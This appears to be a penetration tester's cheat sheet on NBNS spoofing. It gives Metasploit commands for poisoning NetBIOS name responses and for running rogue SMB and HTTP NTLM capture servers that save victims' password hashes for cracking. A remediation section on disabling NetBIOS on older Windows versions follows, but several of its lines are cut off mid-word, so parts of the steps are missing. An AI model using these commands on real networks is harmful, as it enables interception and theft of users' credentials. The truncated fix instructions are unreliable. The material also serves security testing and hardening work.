# SMBCapture

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[+] NBNS Spoof / Capture

[>] NBNS Spoof
msf > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > show options
msf auxiliary(nbns_response) > set INTERFACE eth0
msf auxiliary(nbns_response) > set SPOOFIP 10.10.10.10
msf auxiliary(nbns_response) > run

[>] SMB Capture

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /tmp/john_smb
msf auxiliary(smb) > run

[>] HTTP NTML Capture

msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm
msf auxiliary(smb) > set JOHNPWFILE /tmp/john_http
msf auxiliary(smb) > set SRVPORT 80
msf auxiliary(smb) > set URIPATH /
msf auxiliary(smb) > run


Fix:
http://www.leonteale.co.uk/netbios-nbns-spoofing/

Solution
The solution to this is to disable Netbios from broadcasting. The setting for this is in, what i hope, a very familiar
netbios

Netbios, according to Microsoft, is no longer needed as of Windows 2000.
However, there are a few side effects.
One of the unexpected consequences of disabling Netbios completely on your network is how this affects trusts between f
But Windows 2003 is pretty old, since as of writing we are generally on Windows 2012 now. So if you would like to disab
See below for step by step instructions on disabling Netbios on workstations:

Windows XP, Windows Server 2003, and Windows 2000
On the desktop, right-click My Network Places, and then click Properties.
Right-click Local Area Connection, and then click Properties
In the Components checked are used by this connection list, double-click Internet Protocol (TCP/IP), clickAdvanced, and
Click Use NetBIOS setting from the DHCP server, and then click OK three times.

For Windows Vista
On the desktop, right-click Network, and then click Properties.
Under Tasks, click Manage network connections.
Right-click Local Area Connection, and then click Properties
In the This connection uses the following items list, double-click Internet Protocol Version 4 (TCP/IPv4), clickAdvance
Click Use NetBIOS setting from the DHCP server, and then click OK three times.

For Windows 7
Click Start, and then click Control Panel.
Under Network and Internet, click View network status and tasks.
Click Change adapter settings.
Right-click Local Area Connection, and then click Properties.
In the This connection uses the following items list, double-click Internet Protocol Version 4 (TCP/IPv4), clickAdvance
Click Use NetBIOS setting from the DHCP server, and then click OK three times.
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